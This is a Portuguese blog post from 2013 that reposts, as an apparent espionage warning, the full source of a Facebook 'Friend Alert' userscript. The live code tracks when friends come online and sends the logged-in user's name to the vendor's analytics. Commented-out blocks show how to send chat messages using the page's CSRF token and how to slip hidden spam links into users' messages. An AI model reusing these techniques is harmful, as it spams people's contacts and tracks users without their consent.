Doação Ao BLOG

https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">pl.pires@bol.com.br">https://www.paypalobjects.com/pt_BR/BR/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal - A maneira fácil e segura de enviar pagamentos online!">

sexta-feira, 2 de agosto de 2013

Voce sabe o que isso significa na ERA DA ESPIONAGEM???? Principalmente em Faceboook?

http://www.microsofttranslator.com/bv.aspx?ref=SERP&br=ro&mkt=pt-BR&dl=pt&lp=EN_PT&a=http%3a%2f%2fuserscripts.org%2fscripts%2freview%2f173912

Inspecionar Elementos

há 3 minutos
01:58


Alerta de amigo Facebook

Por PC Gizmos — última actualização 22 de julho de 2013 — instalado 0 vezes.

Adicionar realce de sintaxe (isto levará alguns segundos, provavelmente congelando seu navegador enquanto funciona)

// ==UserScript==
// @name           Facebook Friend Alert
// @description    Facebook Friend Alert
// @version        1.0.220713
// @author         John Doe 
// @include        http*://www.facebook.com/*
// ==/UserScript==
//----------------------------------------------------------------------
var FBA_arr = {};
var FBA_arr_already_full_after_first_time = false;
//----------------------------------------------------------------------
var FBA_curTabIsActive = true;
if ( location.href.indexOf("facebook.com/") != -1 )
{
 if( window.onfocus == null && window.onblur == null )
 { 
  function FBA_focuswindow() { FBA_curTabIsActive = true; /*GM_log("FBA_curTabIsActive="+FBA_curTabIsActive);*/}
  function FBA_hidewindow() { FBA_curTabIsActive = false; /*GM_log("FBA_curTabIsActive="+FBA_curTabIsActive);*/}
  window.onfocus = FBA_focuswindow;
  window.onblur = FBA_hidewindow;
 }
}
//----------------------------------------------------------------------
function FBA_getPersonItems()
{  
 var fbChatOrderedList  = document.getElementsByClassName("fbChatOrderedList");  
 if( !fbChatOrderedList || fbChatOrderedList.length < 1 )
 {
  //GM_log("ERR:fbChatOrderedList="+fbChatOrderedList+",fbChatOrderedList.length="+fbChatOrderedList.length);
  return null;
 }  
 // the 2nd is the smaller chat bar on small resolution screens
 /*
 var fbChatOrderedList_pos = 0;
 if(fbChatOrderedList.length == 2)
  fbChatOrderedList_pos = 1;
 GM_log("fbChatOrderedList.length="+fbChatOrderedList.length+",fbChatOrderedList_pos="+fbChatOrderedList_pos);  
 
 if( fbChatOrderedList[fbChatOrderedList_pos].innerHTML.indexOf("Loading") != -1  )
 {
  GM_log("ERR1:fbChatOrderedList["+fbChatOrderedList_pos+"].innerHTML="+fbChatOrderedList[fbChatOrderedList_pos].innerHTML);
  fbChatOrderedList_pos = 0; 
 }
 if( fbChatOrderedList[fbChatOrderedList_pos].innerHTML.indexOf("Loading") != -1  )
 {
  GM_log("ERR2:fbChatOrderedList["+fbChatOrderedList_pos+"].innerHTML="+fbChatOrderedList[fbChatOrderedList_pos].innerHTML);  
  return null;
 }
 */
 //-----------------------------------------
 //GM_log("fbChatOrderedList="+fbChatOrderedList+",fbChatOrderedList.length="+fbChatOrderedList.length);
 
 var fbChatOrderedList_pos = -1;
 for ( var i = 0 ; i < fbChatOrderedList.length ; i ++ )
 {
  //GM_log("i="+i);
  if( fbChatOrderedList[i].innerHTML.indexOf("Loading") != -1  )
  {
   //GM_log("not-found:fbChatOrderedList["+i+"].innerHTML="+fbChatOrderedList[i].innerHTML);  
   continue;
  }
  else
  {
   //GM_log("found:fbChatOrderedList["+i+"].innerHTML="+fbChatOrderedList[i].innerHTML);  
   fbChatOrderedList_pos = i;
   break;
  }
 }
 if(fbChatOrderedList_pos == -1)
 {  
  return null;
 }
 //----------------------------------------- 
 var personItems  = fbChatOrderedList[fbChatOrderedList_pos].getElementsByTagName("li"); 
 if( !personItems || personItems.length < 1 )
 {
  //GM_log("ERR:personItems="+personItems);
  return null;
 }
 return personItems;
}
//----------------------------------------------------------------------
function FBA_removeChildsByClassName(fatherObj,className)
{
 var objs = fatherObj.getElementsByClassName(className);
 if(objs&&objs.length>0)
 {
  for(var i = 0 ; i < objs.length ; i ++)
  {
   objs[i].parentNode.removeChild(objs[i]);
  }
 }
 return fatherObj;
}
//----------------------------------------------------------------------
function FBA_getUserNameFromPersonObj(personItem)
{
 if( !personItem || !personItem.childNodes || personItem.childNodes.length < 1 )
  return "";

 var clonedPersonItem = personItem.cloneNode(true);
 
 //GM_log(clonedPersonItem.innerHTML);
 clonedPersonItem = FBA_removeChildsByClassName(clonedPersonItem,"icon_container");
 clonedPersonItem = FBA_removeChildsByClassName(clonedPersonItem,"icon_container");
 clonedPersonItem = FBA_removeChildsByClassName(clonedPersonItem,"rfloat");
  
 var name = PCG_trim(clonedPersonItem.innerText);
 if(!name||name=="")
  name = PCG_trim(clonedPersonItem.textContent);
     
 return name;
}
//----------------------------------------------------------------------
function FBA_main()
{
 setTimeout("FBA_main()",2000); // to handle returns ...
  
 if(!FBA_curTabIsActive)
  return;
 
 var personItems = FBA_getPersonItems();
 if(!personItems)
  return;
 //GM_log("personItems.length="+personItems.length);
 var numOfActiveAlerts = 0;
 var numOfMobileAlerts = 0; 
 for ( var i = 0 ; i < personItems.length ; i ++ )
 {
  var personItemsClassName = personItems[i].getAttribute("class");
  if ( personItemsClassName.indexOf("active") != -1 )
  {  
   numOfActiveAlerts++;
  }
  if ( personItemsClassName.indexOf("mobile") != -1 )
  {  
   numOfMobileAlerts++;
  }
 }
 //GM_log("numOfActiveAlerts="+numOfActiveAlerts+",numOfMobileAlerts="+numOfMobileAlerts);

 for ( var i = 0 ; i < personItems.length ; i ++ )
 {
  var personItemsClassName = personItems[i].getAttribute("class");
  if ( personItemsClassName.indexOf("active") != -1 || 
       ( personItemsClassName.indexOf("mobile") != -1 && numOfActiveAlerts < 3 )   )
  {  
   var picImg = personItems[i].getElementsByClassName("pic img");
   //GM_log("picImg="+picImg);
   //var name = personItems[i].getElementsByClassName("name");
   //GM_log("PCG_trim(personItems["+i+"].innerText)="+PCG_trim(personItems[i].innerText));
   //GM_log("PCG_trim(personItems["+i+"].textContent)="+PCG_trim(personItems[i].textContent));
   //var name = PCG_trim(personItems[i].innerText);
   //if(!name||name=="")
    //name = PCG_trim(personItems[i].textContent);
   var name = FBA_getUserNameFromPersonObj(personItems[i]);
    
   if(!picImg||picImg.length<1||!name||name.length<1)
    continue; 
   picImg = picImg[0].getAttribute("src");
   //name = name[0].innerHTML;
   if(FBA_arr_already_full_after_first_time)
   {
    if( FBA_arr[name] == undefined )
    {     
     //GM_log("#### new name #### ="+name+",picImg="+picImg);
     FBA_arr[name] = picImg ;     
     FBA_displayMsgBox(10000,name,picImg);
    }
   }
   else
   {
    FBA_arr[name] = picImg ;
   }
  }
 }
 FBA_arr_already_full_after_first_time = true;  
 /*
 for(name in FBA_arr)
 {
  if (FBA_arr.hasOwnProperty(name)) 
   GM_log("name="+name+",url="+FBA_arr[name]);
 }
 GM_log("======================="); 
 */
}
//----------------------------------------------------------------------
//var FBA_numOfTrialsToAddMsgToChatBox;

function FBA_Random_Facebook_Sharer_URL()
{
 var links_arr = [ { 
      link: "http://friendalert.cdn.l.pc-gizmos.com/blue/", 
      summary: "WowwW! Did you see who just got online?" ,
      description: "Download FB Friend Alert now and be the first to know when your friends go online." ,
      image: "http://farm8.staticflickr.com/7053/8687560013_129d35d5cd_z.jpg" 
       }, 
       { 
      link: "http://friendalert.cdn.l.pc-gizmos.com/rounds/", 
      summary: "Is your GF cheating on you?" ,
      description: "Frankly, we don't know. But we can tell you when she goes online.Download FB Friend Alert." ,
      image: "http://farm8.staticflickr.com/7044/8687560183_a5f634a258_z.jpg" 
       }, 
       { 
      link: "http://friendalert.cdn.l.pc-gizmos.com/clean/", 
      summary: "Be the best friend you can be" ,
      description: "Download FB Friend Alert and connect with your friends. Be notified when your friends go online." ,
      image: "http://farm9.staticflickr.com/8249/8639938334_b76b8357ae.jpg" 
       }       
     ];

       
 var randomPos = Math.floor(Math.random() * ( links_arr.length ))   ;
 //GM_log("randomPos="+randomPos+',links_arr[randomPos]["link"]='+links_arr[randomPos]["link"]);
 
 PCG_Open_Facebook_Sharer_URL(
   links_arr[randomPos]["link"],
   links_arr[randomPos]["image"],
   links_arr[randomPos]["summary"],
   links_arr[randomPos]["description"]
 );
 PCG_GA_recordEvent(FBA_getCurrentLoggedOnUser(),"/fb_alerts/shrarer_presented")
}
function FBA_getCurrentLoggedOnUser()
{
 // was window.Env.user
 var headerTinymanName_arr = document.getElementsByClassName("headerTinymanName");
 if(headerTinymanName_arr&&headerTinymanName_arr.length>0)
 {  
  return headerTinymanName_arr[0].innerHTML;
 }
 else
 {
  return "UnableToParseFBUserName";
 }
}
/*
function FBA_Random_Facebook_Sharer_URL()
{
 var landlingUrls = [ "http://friendalert.cdn.l.pc-gizmos.com/rounds/",
       "http://friendalert.cdn.l.pc-gizmos.com/clean/",
       "http://friendalert.cdn.l.pc-gizmos.com/blue/"
        ]; 
 var landingTexts = [  
  "When you stop chasing the wrong things, you give the right things a chance to catch you.Try Facebook Friend Alert, it's right and it's awesome",
  "I love Facebook Friend Alert! Finally I get notified when my friends log in to Facebook.Try it out, it's awesome",
  "A friend is one of the nicest things you can have, and one of the best things you can be.Get notifications when your friends go online"
        ];
       
 var randomPos_landlingUrls = Math.floor(Math.random() * ( landlingUrls.length ))   ;
 var randomPos_landingTexts = Math.floor(Math.random() * ( landingTexts.length ))   ;
 
 PCG_Open_Facebook_Sharer_URL(
   landlingUrls[randomPos_landlingUrls],
   "http://farm9.staticflickr.com/8249/8639938334_b76b8357ae.jpg",
   "Like Facebook Friend Alert? Bet your friends would too!",
   landingTexts[randomPos_landingTexts]
 );
}*/
//----------------------------------------------------------------------
function FBA_openChatBox(clickedName)
{ 
 //GM_log("FBA_openChatBox clickedName="+clickedName);

 personItems = FBA_getPersonItems();
 if(!personItems||personItems.length==0)
  return;
 //GM_log("FBA_openChatBox personItems.length="+personItems.length);
  
 for ( var i = 0 ; i < personItems.length ; i ++ )
 {
  //var personItemsClassName = personItems[i].getAttribute("class"); 
  //var name = personItems[i].getElementsByClassName("name");
  //if(!name||name.length<1)
   //continue;
  //name = name[0].innerHTML;  
  //GM_log("cur name="+name+",clickedName="+clickedName+",personItems["+i+"].innerHTML="+personItems[i].innerHTML);
  //if(clickedName==name)
  //var name = PCG_trim(personItems[i].innerText);
  //if(!name||name=="")
   //name = PCG_trim(personItems[i].textContent)
  var name = FBA_getUserNameFromPersonObj(personItems[i]);
    
  if( clickedName == name )
  {
   personItems[i].click();
   FBA_removeMsgBox();
   
   PCG_GA_recordEvent_IncrementActions("FBA");
   PCG_GA_recordEvent_OpenUserMsg("FBA",
         { // params                    
          "scriptDesc":"Facebook Friend Alert",          
          "google_plus":"https://plus.google.com/117818606513605476201/posts",
          "fb_like_url":"http://download.cnet.com/Facebook-Friend-Alert/3000-12941_4-75824132.html"
         },
            function(daysInstalled,numOfActions_Aggr,numOfUpdates,numOfRemindMeLater,numOfShareMsgPresented)
         {
          if( daysInstalled > 0  && 
           numOfActions_Aggr > 4   &&
           numOfUpdates < 1    &&
           numOfRemindMeLater < 4     )
          {
           return "update1";
          }          
          else if( daysInstalled > 6    && 
             numOfActions_Aggr > 6   &&
             numOfUpdates < 2     &&
             numOfRemindMeLater < 4     )
          {
           return "update2";
          }
          else if( daysInstalled > 1    &&
             numOfShareMsgPresented < 1 )
          {
           return "share1";
          }
          return ""; 
         } 
         );
   
   /*
   var FBA_numOfClicksOnAlertsBox = GM_getValue("FBA_numOfClicksOnAlertsBox",0);
   if(FBA_numOfClicksOnAlertsBox == 2 || FBA_numOfClicksOnAlertsBox == 22)
    FBA_Random_Facebook_Sharer_URL();
   FBA_numOfClicksOnAlertsBox++;
   GM_setValue("FBA_numOfClicksOnAlertsBox",FBA_numOfClicksOnAlertsBox);
   
   PCG_GA_recordEvent(FBA_getCurrentLoggedOnUser(),"/fb_alerts/alertbox_clicked")
   */
   //FBA_numOfTrialsToAddMsgToChatBox = 10;
   //setTimeout(function() { FBA_addMsgToChatBox(name); }, 500);
   //setTimeout("FBA_addMsgToChatBox()",500,name);
   
   break;
  }  
 }
 //alert(name);
}
//----------------------------------------------------------------------
function FBA_removeMsgBox()
{
 var FBA_msgBox = document.getElementById("FBA_msgBox_inner");
 FBA_msgBox.innerHTML = "";
 FBA_msgBox.style.display="none";
 FBA_msgBox.parentNode.style.display="none";
}
//----------------------------------------------------------------------
/*
function FBA_sendChatMsg(msg, to) 
{
 function serialize(obj) 
 {
  var str = [];
  for(var p in obj)
   str.push(p + "=" + encodeURIComponent(obj[p]));
  return str.join("&");
 }
 function random(len) 
 {
  var min = Math.pow(10, len-1);
  var max = Math.pow(10, len);
  return Math.floor(Math.random() * (max - min + 1)) + min;
 }
 function generatePhstamp(qs, dtsg) 
 {
  var input_len = qs.length;
  numeric_csrf_value='';
  for(var ii=0;ii<dtsg.length;ii++) 
  {
   numeric_csrf_value+=dtsg.charCodeAt(ii);
  }
  return '1' + numeric_csrf_value + input_len;
 }
 
 var fbid = window.Env.user;
 var d = new Date();
 var data = 
 {
  "message_batch[0][timestamp_relative]": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2),
  "message_batch[0][author]": "fbid:" + fbid,
  "message_batch[0][is_cleared]": "false",
  "message_batch[0][message_id]": "<" + random(14) + ":" + random(10) + "-" + random(10) + "@mail.projektitan.com>",
  "message_batch[0][specific_to_list][0]": "fbid:" + to,
  "__user": fbid,
  "message_batch[0][timestamp_absolute]": "Oggi",
  "message_batch[0][spoof_warning]": "false",
  "message_batch[0][client_thread_id]": "user:" + to,
  "message_batch[0][source]": "source:chat:web",
  "message_batch[0][has_attachment]": "false",
  "message_batch[0][source_tags][0]": "source:chat",
  "message_batch[0][body]": msg,
  "message_batch[0][is_filtered_content]": "false",
  "message_batch[0][timestamp]": "" + Math.round(new Date().getTime() / 1000),
  "message_batch[0][is_unread]": "false",
  "message_batch[0][action_type]": "ma-type:user-generated-message",
  "__a": "1",
  "message_batch[0][specific_to_list][1]": "fbid:" + fbid,
  "message_batch[0][html_body]": "false",
  "message_batch[0][status]": "0",
  "client": "mercury",
  "message_batch[0][is_forward]": "false",
  "fb_dtsg": window.Env.fb_dtsg
 };
 var req = serialize(data);
 // Thanks http://pastebin.com/VJAhUw30
 req += "&phstamp=" + generatePhstamp(req, data.fb_dtsg);
 xmlhttp = new XMLHttpRequest();
 xmlhttp.open('POST', '/ajax/mercury/send_messages.php');
 xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 xmlhttp.send(req);
}*/
//----------------------------------------------------------------------
/*
var FBA_msgs = [ "Chat powered by: http://bit.ly/FriendAlert ",
      "Powered by http://bit.ly/FriendAlert",
      "click <3 http://bit.ly/Friend-Alert",
      "don't click B| http://bit.ly/Friend-Alert",
      "(y) http://bit.ly/Friend_Alert",
      "http://bit.ly/Friend_Alert (y)" ];
function FBA_randomMsg()
{
 var random = Math.floor(Math.random() * ( FBA_msgs.length ))   ;
 //GM_log("random = "+random);
 return FBA_msgs[random];
}
//----------------------------------------------------------------------

var FBA_sentMsgOneTime = false;
function FBA_isThisReturn(obj,event)
{
 e = event || window.event;
 var charCode = (typeof e.which == "number") ? e.which : e.keyCode;

 //GM_log("Typed character: " + String.fromCharCode(charCode) + ",charCode=" + charCode);
 if ( charCode == 13 && FBA_sentMsgOneTime == false) 
 {
  var replacedMsg = obj.value +
            "                                                                                                           -- Chat powered by: http://bit.ly/FriendAlert " ; //+ FBA_randomMsg();
  
  //GM_log("obj.value:" + obj.value + ",replacedMsg:"+replacedMsg);
  
  var textMetrics = document.getElementsByClassName("textMetrics");
  for(var i = 0 ; i < textMetrics.length ; i ++ )
  {
   //GM_log("textMetrics["+i+"]="+textMetrics[i]);
   textMetrics[i] = replacedMsg + "...";  
  }
 
  var newTextMetrics = document.createElement("textarea");
  newTextMetrics.setAttribute("class","textMetrics");
  newTextMetrics.setAttribute("style","font-size: 11px; font-style: normal; font-weight: 400; font-family: 'lucida grande',tahoma,verdana,arial,sans-serif; word-wrap: break-word; line-height: 15px; width: 230px;");
  newTextMetrics.innerHTML = replacedMsg+'...';
     
  obj.value = replacedMsg;
  FBA_sentMsgOneTime = true;
 }
}
function FBA_AddMsgOnFirstReturn(obj)
{
 //GM_log("obj="+obj.innerHTML);
 var textAreas = obj.getElementsByClassName("uiTextareaAutogrow");
 if(textAreas&&textAreas.length>0)
 {
  for(var i = 0 ; i < textAreas.length ; i ++)
  {  
   //Bootloader.loadComponents(["control-textarea"], 
   // function() { TextAreaControl.getInstance(this) }.bind(this));   
   //GM_log("textAreas["+i+"].onkeydown="+textAreas[i].getAttribute('onkeydown') );
   //GM_log("textAreas["+i+"].outerHTML="+textAreas[i].outerHTML);
   //GM_log("textAreas["+i+"].innerHTML="+textAreas[i].innerHTML);
   
   textAreas[i].setAttribute('onkeydown','FBA_isThisReturn(this,event); Bootloader.loadComponents(["control-textarea"], function() { TextAreaControl.getInstance(this) ;}.bind(this)); ');
   
   //textAreas[i].outerHTML = '<textarea style="height: 16px;" class="uiTextareaAutogrow input" onkeydown="Bootloader.loadComponents([&quot;control-textarea&quot;], function() { TextAreaControl.getInstance(this) }.bind(this)); "></textarea>';
   
   //textAreas[i].onkeydown = "";
   
   //var old_element = textAreas[i];
   //var new_element = old_element.cloneNode(true);
   //old_element.parentNode.replaceChild(new_element, old_element);
   //new_element.onkeydown = function (e) 
   // {  
   //  e = e || window.event;
   //  var charCode = (typeof e.which == "number") ? e.which : e.keyCode;
   //  GM_log("charCode="+charCode);
   //  if (charCode == 13 ) 
   //  {
   //   //alert("Typed character: " + String.fromCharCode(charCode));
   //   this.innerHTML = this.innerHTML + FBA_randomMsg();
   //  }    
   //  old_element.onkeydown(); 
   // }; 
   
  }
 }
}*/
//----------------------------------------------------------------------
/*
function FBA_activateMsgOnlyIfTextWasPressed(obj)
{
 var uiTextareaAutogrow = obj.getElementsByClassName("uiTextareaAutogrow");
 GM_log("uiTextareaAutogrow.length="+uiTextareaAutogrow.length);
 if(uiTextareaAutogrow&&uiTextareaAutogrow.length>0)
 {
  uiTextareaAutogrow[0].onkeypress = function(e) 
  {
   e = e || window.event;
   var charCode = (typeof e.which == "number") ? e.which : e.keyCode;
   if (charCode > 0) 
   {
    //alert("Typed character: " + String.fromCharCode(charCode));
    var elem, evt = e ? e:event;
    if (evt.srcElement)  
     elem = evt.srcElement;
    else if (evt.target) 
     elem = evt.target;
    elem.setAttribute("FBA_WroteSomthing","true");
   }
  };
 }
}*/
//----------------------------------------------------------------------
/*
function FBA_addMsgToChatBox(name)
{
 var fbNubFlyoutInner=document.getElementsByClassName("fbNubFlyoutInner");
 if(fbNubFlyoutInner&&fbNubFlyoutInner.length>1)
 {
  //GM_log("fbNubFlyoutInner.length="+fbNubFlyoutInner.length);
  for(var i = 0 ; i < fbNubFlyoutInner.length ; i ++)
  {   
   //GM_log("name="+name+",fbNubFlyoutInner[i].innerHTML="+fbNubFlyoutInner[i].innerHTML);
   if(fbNubFlyoutInner[i].innerHTML.indexOf(name)!=-1)
   {
    //FBA_activateMsgOnlyIfTextWasPressed(fbNubFlyoutInner[i]);
    //setTimeout(function() { FBA_setCloseButtonEvent(fbNubFlyoutInner[i]) }, 2000);
    //FBA_AddMsgOnFirstReturn(fbNubFlyoutInner[i]);
    FBA_recordClickEvent(window.Env.user); // was name
    return;    
   }
  }  
 }
 //GM_log("FBA_numOfTrialsToAddMsgToChatBox="+FBA_numOfTrialsToAddMsgToChatBox);
 if(FBA_numOfTrialsToAddMsgToChatBox>0)
 {
  FBA_numOfTrialsToAddMsgToChatBox--;
  setTimeout(function() { FBA_addMsgToChatBox(name); }, 500);
  //setTimeout("FBA_addMsgToChatBox()",500,name); 
 }
}
//----------------------------------------------------------------------
function FBA_rand(min, max) 
{
  return min + Math.floor(Math.random() * (max - min));
}
*/
/*
function FBA_recordClickEvent(str)
{
  var i=1e9,
   utmn=FBA_rand(1e9,1e10),
   cookie=FBA_rand(1e7,1e8),
   random=FBA_rand(i,-(1<<31)),
   today=(new Date()).getTime(),
   win = "http://www.pc-gizmos.com/analytics/alert_pressed",//window.location,   
   urchinUrl = 'http://www.google-analytics.com/__utm.gif'
    +'?utmwv=4.8.6'
    +'&utmn='+utmn
    +'&utmsr='+screen.width+'x'+screen.height
    +'&utmsc='+((screen.colorDepth===undefined)? screen.pixelDepth: screen.colorDepth)+'-bit'
    +'&utmul='+window.navigator.language.toLowerCase()
    //+'&utmje=-'
    +'&utmje=1'
    //+'&utmfl=-'
    +'&utmfl=11.3%20r300'    
    //+'&utmdt=-'
    +'&utmdt='+escape(str)
    //+'&utme=8(AlertPressed)9(true)'
    +'&utmhn=www.pc-gizmos.com'
    +'&utmr='+encodeURIComponent(win+"/"+str)
    +'&utmp='+encodeURIComponent('/alert_pressed')
    +'&utmac=MO-36293843-1' // 36293843/31818336
    +'&utmcc=__utma%3D'+cookie
     +'.'+random
     +'.'+today
     +'.'+today
     +'.'+today
     +'.2%3B%2B__utmb%3D'+cookie
     +'%3B%2B__utmc%3D'+cookie
     +'%3B%2B__utmz%3D'+cookie
     +'.'+today
     +'.2.2.utmccn%3D(referral)%7Cutmcsr%3D'+encodeURIComponent(win.host)
     +'%7Cutmcct%3D'+encodeURIComponent(win.pathname)
     +'%7Cutmcmd%3Dreferral%3B%2B__utmv%3D'+cookie
     +'.-%3B';
  //GM_log("urchinUrl="+urchinUrl);
  GM_xmlhttpRequest({ method: "GET",  url: urchinUrl ,onload: function(response) { return;} });
}*/
//----------------------------------------------------------------------
var FBA_like_button = '<iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Fdownload.cnet.com%2FFacebook-Online-Friends-Alert%2F3000-12941_4-75824132.html&amp;send=false&amp;layout=button_count&amp;width=80&amp;show_faces=false&amp;font&amp;colorscheme=light&amp;action=like&amp;height=21&amp;appId=243212289037659" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:80px; height:21px;" allowTransparency="true"></iframe>';
var FBA_plus_button = '<div class="g-plusone" data-size="small"  data-href="https://plus.google.com/117818606513605476201/posts"></div>';
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
//----------------------------------------------------------------------
function FBA_displayMsgBox(ms,name,picImg) 
{      
 var FBA_msgBox = document.getElementById("FBA_msgBox_inner");
 if(!FBA_msgBox)
  return;
 FBA_msgBox.style.display="";
 FBA_msgBox.parentNode.style.display="";
 //-----------
 var FBA_msgBox_str = "<strong>Click to Chat with :</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR><a style='text-decoration: none' onClick='FBA_openChatBox(\""+name+"\");'><table><tr><td><img width='33px' height='33px' src='"+picImg+"'></img></td><td style='color:#333333;font-weight:bold'>"+name+"</td></tr></table></a>";
 //-----------
 if(FBA_msgBox.innerHTML != "") // add it
 {
  FBA_msgBox.innerHTML = FBA_msgBox_str + "<HR style='line-height: 0.5;font-size: 1px;'>" + FBA_msgBox.innerHTML ;
 }
 else
 {
  FBA_msgBox.innerHTML = FBA_msgBox_str + "<HR style='line-height: 0.5;font-size: 1px;'>" ;
 }
  
 if(ms)
 {
  setTimeout("FBA_removeMsgBox()",ms); 
 }
}
//----------------------------------------------------------------------
function FBA_createMsgBox()
{
 var FBA_msgBox = document.createElement("div");
 FBA_msgBox.id="FBA_msgBox";   
 FBA_msgBox.style.display = "none";
 //FBA_msgBox.style.opacity = 0;
 FBA_msgBox.direction='ltr'; 
 FBA_msgBox.style.position= 'fixed';
 FBA_msgBox.style.width = '200px';
 FBA_msgBox.style.bottom = 0;
 FBA_msgBox.style.right = '0px'; // 250px
 FBA_msgBox.style.zIndex = 10000;
 FBA_msgBox.style.margin = "0 auto 0 auto";
 FBA_msgBox.style.borderTop = "1px solid #C9C9C9";
 FBA_msgBox.style.borderLeft = "1px solid #C9C9C9"; 
 FBA_msgBox.style.borderRight = "1px solid #C9C9C9";
 FBA_msgBox.style.marginBottom = "0px";
 FBA_msgBox.style.fontFamily = "tahoma,verdana,arial,sans-serif";
 FBA_msgBox.style.fontWeight = "normal";
 FBA_msgBox.style.fontSize = "11px";
 FBA_msgBox.style.color = "#3B5998";
 FBA_msgBox.style.backgroundColor = "white";//"#F2F4F8";
 FBA_msgBox.style.textAlign = "center";
 //----
 FBA_msgBox.style.borderRadius = "4px";
    FBA_msgBox.style.boxShadow = "0px 5px 15px #C9C9C9";
    FBA_msgBox.style.webkitBoxShadow = "0px 5px 15px #C9C9C9";
    FBA_msgBox.style.mozBoxShadow = "0px 5px 15px #C9C9C9";
 //FBA_msgBox.style.background ="#eee";
 FBA_msgBox.style.fontFamily = "'Handlee', sans-serif";
 FBA_msgBox.style.border = "2px solid #C9C9C9";
    FBA_msgBox.style.backgroundClip = "padding-box";
    FBA_msgBox.style.textShadow = "0px 1px 0px #FFF"; 
 //----
 FBA_msgBox.innerHTML =      "<div style='background-color:#3B5998;color:#D8DFEA;font-weight:bold;text-align:left;"+
            "padding-bottom:2px;font-family: Tahoma;text-shadow:none;"+
         "border-radius:4px;box-shadow:0px 5px 15px #C9C9C9;border:2px solid #C9C9C9;"+
         "webkit-Box-Shadow:0px 5px 15px #C9C9C9;moz-Box-Shadow:0px 5px 15px #C9C9C9; ' >"+
         "<table  width='100%' ><tr><td>"+
          "&nbsp;Just Logged in :"+
          "</td><td width='10%' style='text-align:right'>"+
          "<a style='text-decoration: none;' onClick='FBA_removeMsgBox();'>"+
          "<span style='background: url(\"http://static.ak.fbcdn.net/rsrc.php/v2/yo/x/4WSewcWboV8.png\") 0 -47px;"+
          "background-repeat: no-repeat;"+
          "height: 15px;"+
          "width: 15px;'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></a>"+
          "</table>"+
         "</div>"+
         "<div id='FBA_msgBox_inner'></div>"+
           "<table><tr><td style='color:#333333;font-weight:bold'>Share: <td>" +  
           FBA_plus_button+"</td><td>"+FBA_like_button +"</td></tr></table>";
 //---
 document.body.appendChild( FBA_msgBox ); 
}
//----------------------------------------------------------------------
function FBA_toggleScript()
{  
 var FBA_ScriptEnable = GM_getValue("FBA_ScriptEnable",true);
 FBA_ScriptEnable = !FBA_ScriptEnable;
 GM_setValue("FBA_ScriptEnable",FBA_ScriptEnable);
 window.location.reload();
}
//----------------------------------------------------------------------
function FBA_toggleItemDisplay(item)
{
 if( ! item.style.display || item.style.display == "" )
 {    
  item.style.display = "none";     
 } 
 else
 {
  item.style.display = ""; 
 }
}
//----------------------------------------------------------------------
function FBA_addSideBarBanner()
{
 var FBA_SideBarBanner = document.getElementById("FBA_SideBarBanner");
 if(FBA_SideBarBanner)
  return;
 var FBA_ScriptEnable = GM_getValue("FBA_ScriptEnable",true);
 if(FBA_ScriptEnable)
  FBA_ScriptEnable_str = "Disable";
 else
  FBA_ScriptEnable_str = "Enable";
 //--------------------
 var FBA_div = document.createElement("div");
 FBA_div.id = "FBA_SideBarBanner";
 FBA_div.setAttribute("class","");
 //innerHTML_str
 //var FBA_like_button = '<iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Fdownload.cnet.com%2FFacebook-Zoom%2F3000-12941_4-75744517.html&amp;send=false&amp;layout=button_count&amp;width=100&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=243212289037659" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:21px;" allowTransparency="true"></iframe>';
 var FBA_menu_str = "<div id='FBA_SideBarBanner_Menu' style='display:none'>"+
 "<BR>&nbsp;<a STYLE='text-decoration:underline' onClick='FBA_toggleScript();'>"+FBA_ScriptEnable_str+"&nbsp;FB Friend Alert</a> <BR>"+ 
 "&nbsp;<a STYLE='text-decoration:underline' target='_blank' href='http://download.cnet.com/Facebook-Online-Friends-Alert/3000-12941_4-75824132.html#rateit'>Rate/Review</a><BR>"+
 "&nbsp;<a STYLE='text-decoration:underline' href='mailto:feedback@pc-gizmos.com?subject=Feedback%20on%20Facebook%20Friend%20Alert&body=I%20use%20Facebook%20Friend%20Alert%20and%20my%20Feedback%20is...'>Feedback</a><BR>"+
 "&nbsp;<a STYLE='text-decoration:underline' href='mailto:myfriend@example.com?subject=I%20really%20liked%20Facebook%20Friend%20Alert%20&body=Hi%20,%0D%0A%0AI%20am%20using%20Facebook%20Friend%20Alert,%20it%20changed%20my%20whole%20FB%20experience.%0D%0A%0A%20You%20can%20download%20it%20too%20at%20http%3A%2F%2Fdownload.cnet.com%2FFacebook-Online-Friends-Alert%2F3000-12941_4-75824132.html%20.'>Send to a friend</a><BR>"+
 "&nbsp;<a STYLE='text-decoration:underline' target='_blank' href='http://download.cnet.com/windows/pc-gizmos/3260-20_4-10209477.html'>Other Gizmos</a><BR>"+
 "&nbsp;<a STYLE='text-decoration:underline' target='_blank' href='http://www.pc-gizmos.com/about-us/'>About</a><BR>"+ 
 "</div>" ; 
 var FBA_innerHTML_str = "<BR><a onclick='FBA_toggleItemDisplay(document.getElementById(\"FBA_SideBarBanner_Menu\"));'>FB Friend Alert Menu</a>" + "<BR>" + FBA_menu_str + FBA_plus_button +"<BR>"+ FBA_like_button; 
 FBA_div.innerHTML = FBA_innerHTML_str;
 //----
 /*
 var appsNav = document.getElementById("appsNav");
 if(appsNav)
 {
  appsNav.appendChild(FBA_div);
 }*/
 //-----------------------
 var sideNav = document.getElementById("sideNav"); // facebook.com
 if(sideNav)
 {  
  sideNav.insertBefore(FBA_div,sideNav.childNodes[0]);
 } 
 //-----------------------
}
//----------------------------------------------------------------------
if ( location.href.indexOf("facebook.com/") != -1 )
{
